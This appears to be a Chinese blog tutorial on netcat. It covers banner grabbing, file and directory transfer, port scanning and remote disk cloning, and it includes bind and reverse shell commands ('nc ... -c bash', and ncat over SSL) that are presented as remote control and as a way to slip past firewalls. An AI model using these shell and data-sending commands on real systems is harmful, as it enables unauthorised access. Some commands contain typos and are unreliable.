前言
情人节
别人亲亲我我
我在网上玩瑞士军刀——netcat
这是一个很小但很好用的工具,有以下功能:
- 侦听/传输模式
- telnet/获取banner信息
- 传输文本信息
- 传输文本/目录
- 加密传输文件
- 远程控制/木马
- 加密所有流量
- 流媒体服务器
- 远程克隆硬盘
1、nc的一些指令
man nc 手册
nc-h 查看帮助
nc -v 显示详细连接内容
nc -n (IP)不进行域名解析
nc -z 扫描模式
nc -q 执行后退出
nc -l 侦听
nc -p (端口号)打开端口
2、nc的telnet功能
基本指令如下:
nc -nv 1.1.1.1 110
nc -nv 1.1.1.1 25
nc -nv 1.1.1.1 80 #http服务器
例
1、ping pop3.163.com
得到IP地址
nc-vn IP地址 110
显示banner信息 可以知道163用的是coremail
USER (一串字符根据base64)
PASSWORD (一串字符根据base64)
可以收邮件
2、ping smtp.163.com
nc -vn (IP) 25
同样操作可以得到信息
ehlo (一串字符)
然后根据命令
可以发邮件
3、nc传输文本信息
A:nc -l -p 4444 侦听+打开端口
B:nc -vn (A的ip)4444
就可以进行文本信息传输
例
1、文件目录信息
A:nc -l -p 333
B:ls -l | nc -vn (A的ip)333
A就收到了B的目录信息
2、进程信息
A:nc -l -p 333 > ps.txt
B:ps aux | nc -vn (A的ip)333 -q 1 q是为了退出
A就收到了B的进程信息存在ps.txt
4、nc传输文件
传文件
A: nc -l -p 333 > 1.mp3
B: nc -vn (A的ip)333 < 1.mp3 -q 1
A就收到了B传来的1.mp3
扫描二维码关注公众号,回复:
9636392 查看本文章
A: nc -q 1 -l -p 333 < 1.mp3
B: nc -vn (A的ip)333 > 1.mp3
B就收到了A传来的1.mp3
传输目录
A: tar -cvf - music/ | nc -lp 333 -q 1
B: nc -vn (A的ip)333 | tar -xvf -
把A的目录打包送到B
加密传
A: nc -l -p 333 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.mp3
B: mcypt --flush -Fbq -a rijndael-256 -m ecb < a.mp3 | nc -vn (A的ip)333 -q 1
B把文件加密给A
5、 nc的流媒体服务
A: cat 1.mp4 | nc -lp 333
B: nc -vn (A的ip)333 | mplayer -vo x11 -cahe 3000 -
B通过mplayer播放A传过来的流媒体
6、nc的端口扫描
nc -nvz 1.1.1.1 1-65535 扫描1到65535的端口开放的会有响应
nc -vnzu 1.1.1.1 1-1024 udp端口
扫描结果不一定准确
7、nc远程克隆硬盘
A: nc -lp 333 | dd of=/dev/sda dd可以进行硬盘复制
B: dd if=/dev/sda | nc -vn (A的ip)333 -q 1
远程电子取证,可以将目标服务器硬盘或内存远程复制
8、nc远程控制
正向
A: nc -lp 333 -c bash
B: nc -nv (A的ip)333
A把bash shell 传给B然后B就可以远程控制
反向
A: nc -lp 333
B: nc -nv (A的ip)333 -c bash
通常服务器有个防火墙,把从外向内的流量都封掉,这时候可以反向连接
注意win用户把bash改成cmd
9、ncat
nc缺乏加密和身份验证能力,可以sniffer
ncat在namp工具包中,可以弥补这个问题,它管道加密
A: ncat -c bash --allow (B的ip) -vnl 333 --ssl 允许B来访问,开放并侦听端口333,ssl加密
B: ncat -nv (A的ip) 333 --ssl
B可以远程控制A,管道ssl加密
结语
netcat是超好用的一个超小的工具
读者们情人节快乐!